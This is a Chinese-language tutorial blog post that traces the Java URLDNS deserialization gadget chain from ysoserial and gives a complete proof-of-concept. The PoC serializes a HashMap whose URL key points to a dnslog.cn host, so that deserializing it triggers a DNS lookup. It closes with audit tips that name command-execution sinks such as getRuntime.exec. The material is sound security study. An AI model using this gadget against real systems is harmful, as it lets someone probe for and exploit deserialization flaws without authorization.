URLDNS反序列化链

关于java的反序列化只是大概知道是因为readObject方法,导致的但是怎么个过程导致的rce,还是很迷糊的。

但是直接从CC链来学习的话,对新手实在不太友好。所以,今天从ysoserial.jar中最简单的URLDNSgadget来学习一下反序列化的流程。

此次利用的URL.class是jdk自带的,无需依赖第三方。整条利用链相对简单,适合新手练手

根据ysoserial类的poc,下面自行改编

先上图为敬,如下效果图

序列化类

反序列化类

执行反序列化类里面的main方法,如下图,可以看到dnslog已经接收到了请求

接下来开始分析这条链是怎么走的

代码中最重要的三个类是HashMap,URL,URLStreamHandler。其中HashMap重写了readObject方法,URL类是里面有个hashCode()方法被HashMap的readObject()调用了,URLStreamHandler类是里面的getHostAddress被URL类里面的hashCode()方法调用了。这样形成了一条调用链HashMap.readObject()--->HashMap.putVal()--->HashMap.hash()--->URL.hashCode()

继续往下看,for循环里面把map的key和value都反序列化了,最后进到了putVal方法里面

我们跟进hash(key)方法,可以看到传入了一个Object类型的key,如果key为空,返回0,不为空的话进入key.hashCode()方法

此时我们需要注意了,上图中的hash方法传入的是Object类型的,那么如果我们传入的是URL类呢?我们看下URL类有没有hashCode()方法,如果有的话,则能继续下一步,继续根据key.hashCode()方法

上图说hashCode != -1,则直接返回hashCode,而该URL类的hashCode值被默认定义成了-1。如果等于-1,则继续往下走,我们继续看hashCode(this)方法

此刻已经分析完了整条链的调用过程,接下来就是写poc来实现了

package com.zyp.test;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class UrlDnsSerializeTest {
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("serialize.bin"));
        oos.writeObject(obj);
    }
    public static Object unSerialize(File file) throws Exception {
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(file));
        Object o = ois.readObject();
        return o;
    }

    public static void main(String[] args) throws Exception {
        HashMap<Object,Object> hashMap=new HashMap<>();
        URL url=new URL("http://serialize.zxz7y3.dnslog.cn");
        //为了下面的put方法不执行URL类里面的getHostAddress方法,使用反射技术获取URL类的属性hashCode,并改变其原有值
        Class c=  url.getClass();
        //获取使用属性hashCode
        Field hashCode = c.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        //此处hashCode改为111,目的就是为了不进getHostAddress方法
        hashCode.set(url,111);
        hashMap.put(url,1);
        //hashMap执行完URL类的hashCode()后,通过反射,把URL类的hashCode值设置为-1,在反序列化时进入getHostAddress方法
        hashCode.set(url,-1);
        serialize(hashMap);
        File file=new File("serialize.bin");
        unSerialize(file);
    }

}

突然发现一个问题,HashMap的put方法也调用了putVal()

那我们进行序列化时,应该就会有dns请求,的确如果不做其他处理,在序列化时,就会有dns请求。所以看poc,在put之前就通过反射改变了hashCode的值。使其不等于-1,这样就不会进入到getHostAddress方法

审计思路

需要满足以下条件

1、如果是Java原生类,则需要入口类有readObject方法,同时实现了序列化接口

2、需要有最终的执行函数(可以执行代码或者命令),比如getRuntime.exec,getHostAddress.....等等,这些函 数需要自己平常去收集,这样审计起来会更得心应手

posted @ 2021-12-06 16:02  梦幻泡影离殇  阅读(186)  评论(0编辑  收藏  举报